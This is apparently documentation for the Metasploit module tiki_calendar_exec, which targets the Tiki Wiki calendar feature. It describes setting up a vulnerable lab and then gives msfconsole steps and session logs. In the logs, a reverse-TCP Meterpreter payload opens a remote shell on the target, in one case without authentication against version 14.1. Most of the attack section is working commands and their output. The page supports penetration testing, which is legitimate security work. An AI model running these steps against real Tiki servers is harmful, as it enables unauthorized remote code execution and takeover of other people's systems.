Tiki Calendar Exec - Metasploit Framework

Vulnerable Application

Official Source: sourceforge
Exploit-db: edb
Archived Copy: github

Of note, there is some discussion if 14.2 is vuln or not.

Exploit-DB says in the title (may be wrong) 14.2 is vuln.
The linked app Exploit-DB has is 14.2.
Its verified on Exploit-DB.

Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
The notice seems to say 14.2 is the update that fixes the problem

Creating A Testing Environment

Create a fresh Ubuntu 16.04 w/ a LAMP install
apt-get install php-xml
Normal php install at that point!
After install, login as admin:admin
Go to the Control Panels
Click Features
Enable Calendar under Main feature
Click Apply

Permissions

If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:

Log in as admin
From the top dropdown select permissions
Check Anonymous near the top
Click Assign

Verification Steps

Install the software as documented above
Start msfconsole
Do: use exploit/linux/http/tiki_calendar_exec
Do: set rhost 10.10.10.10
(optional, if not set, set username to empty) Do: set PASSWORD admin
Do: set payload php/bind_perl
Do: set verbose true
Do: check

  [*] Attempting Login
  [+] Login Successful!
  [+] 10.10.10.10:80 The target is vulnerable.

Do: exploit
You should get a shell

  [*] Started reverse TCP handler on 10.10.10.10:4444 
  [*] Attempting Login
  [+] Login Successful!
  [*] Sending malicious calendar view packet
  [*] Sending stage (33721 bytes) 10.10.10.10.190
  [*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400

Options

PASSWORD

Password is set at first login. Default for admin is 'admin'.

Scenarios

Example running against unauthenticated calendar v14.1

  msf > use exploit/linux/http/tiki_calendar_exec
  msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
  rhost => 192.168.2.190
  msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
  targeturi => /t14_1/
  msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
  payload => php/meterpreter/reverse_tcp
  msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
  lhost => 192.168.2.229
  msf exploit(tiki_calendar_exec) > set verbose true
  verbose => true
  msf exploit(tiki_calendar_exec) > set username ''
  username => 
  msf exploit(tiki_calendar_exec) > exploit
  
  [*] Started reverse TCP handler on 192.168.2.229:4444 
  [*] Sending malicious calendar view packet
  [*] Sending stage (33721 bytes) to 192.168.2.190
  [*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
  
  meterpreter > sysinfo
  Computer    : tikiwiki
  OS          : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
  Meterpreter : php/php
  meterpreter >